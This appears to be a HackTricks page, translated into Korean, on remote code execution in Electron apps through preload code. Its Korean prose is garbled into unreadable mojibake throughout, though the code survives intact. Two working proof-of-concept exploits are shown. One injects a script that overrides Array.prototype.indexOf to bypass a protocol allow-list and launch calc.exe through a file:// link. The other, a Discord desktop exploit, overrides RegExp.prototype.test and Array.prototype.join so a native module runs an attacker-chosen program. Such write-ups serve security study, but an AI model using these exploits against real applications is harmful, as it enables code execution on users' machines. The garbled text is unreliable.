Electron contextIsolation RCE via preload code
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Example 1
์ด ์ฝ๋๋ ๊ธฐ๋ณธ ๋ธ๋ผ์ฐ์ ๋ก http(s) ๋งํฌ๋ฅผ ์ฝ๋๋ค:
.png)
file:///C:/Windows/systemd32/calc.exe์ ๊ฐ์ ๊ฒ์ ์ฌ์ฉํ์ฌ calc๋ฅผ ์คํํ ์ ์์ง๋ง, SAFE_PROTOCOLS.indexOf๊ฐ ์ด๋ฅผ ๋ฐฉ์งํ๊ณ ์์ต๋๋ค.
๋ฐ๋ผ์ ๊ณต๊ฒฉ์๋ XSS ๋๋ ์์ ํ์ด์ง ํ์์ ํตํด ์ด JS ์ฝ๋๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
SAFE_PROTOCOLS.indexOf๋ฅผ ํธ์ถํ๋ฉด ํญ์ 1337์ ๋ฐํํ๋ฏ๋ก, ๊ณต๊ฒฉ์๋ ๋ณดํธ๋ฅผ ์ฐํํ๊ณ calc๋ฅผ ์คํํ ์ ์์ต๋๋ค. ์ต์ข
์ต์คํ๋ก์:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
์๋ณธ ์ฌ๋ผ์ด๋๋ฅผ ํ์ธํ์ฌ ๊ถํ ์์ฒญ ํ๋กฌํํธ ์์ด ํ๋ก๊ทธ๋จ์ ์คํํ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์ฐพ์๋ณด์ธ์.
๋ค๋ฅธ ์ฝ๋ ๋ก๋ ๋ฐ ์คํ ๋ฐฉ๋ฒ์ file://127.0.0.1/electron/rce.jar์ ๊ฐ์ ๊ฒฝ๋ก์ ์ ๊ทผํ๋ ๊ฒ์
๋๋ค.
์์ 2: Discord ์ฑ RCE
https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1์์์ ์์
ํ๋ฆฌ๋ก๋ ์คํฌ๋ฆฝํธ๋ฅผ ํ์ธํ๋ ๋์, Discord๊ฐ DiscordNative.nativeModules.requireModule('MODULE-NAME')๋ฅผ ํตํด ํ์ฉ๋ ๋ชจ๋์ ํธ์ถํ ์ ์๋ ๊ธฐ๋ฅ์ ์น ํ์ด์ง์ ๋
ธ์ถํ๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ์ต๋๋ค.
์ฌ๊ธฐ์ child_process ๋ชจ๋๊ณผ ๊ฐ์ด RCE์ ์ง์ ์ฌ์ฉํ ์ ์๋ ๋ชจ๋์ ์ฌ์ฉํ ์ ์์์ง๋ง, JavaScript ๋ด์ฅ ๋ฉ์๋๋ฅผ ์ค๋ฒ๋ผ์ด๋ํ๊ณ ๋
ธ์ถ๋ ๋ชจ๋์ ์คํ์ ๊ฐ์ญํจ์ผ๋ก์จ RCE๋ฅผ ๋ฌ์ฑํ ์ ์๋ ์ฝ๋๋ฅผ ๋ฐ๊ฒฌํ์ต๋๋ค.
๋ค์์ PoC์
๋๋ค. RegExp.prototype.test์ Array.prototype.join์ ์ค๋ฒ๋ผ์ด๋ํ๋ ๋์ devTools์์ โdiscord_utilsโ๋ผ๋ ๋ชจ๋์ ์ ์๋ getGPUDriverVersions ํจ์๋ฅผ ํธ์ถํ ๋ calc ์ ํ๋ฆฌ์ผ์ด์
์ด ํ์
๋๋ ๊ฒ์ ํ์ธํ ์ ์์์ต๋๋ค.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
getGPUDriverVersions ํจ์๋ ๋ค์๊ณผ ๊ฐ์ด โexecaโ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ฌ ํ๋ก๊ทธ๋จ์ ์คํํ๋ ค๊ณ ์๋ํฉ๋๋ค:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
๋ณดํต execa_๋ nvidiaSmiPath ๋ณ์์ ์ง์ ๋ โnvidia-smi.exeโ๋ฅผ ์คํํ๋ ค๊ณ ํ์ง๋ง, ์ค๋ฒ๋ผ์ด๋๋ RegExp.prototype.test์ Array.prototype.join ๋๋ฌธ์ ์ธ์๊ฐ _execa_์ ๋ด๋ถ ์ฒ๋ฆฌ์์ โcalc_โ๋ก ๋์ฒด๋ฉ๋๋ค.
๊ตฌ์ฒด์ ์ผ๋ก, ์ธ์๋ ๋ค์ ๋ ๋ถ๋ถ์ ๋ณ๊ฒฝํ์ฌ ๋์ฒด๋ฉ๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


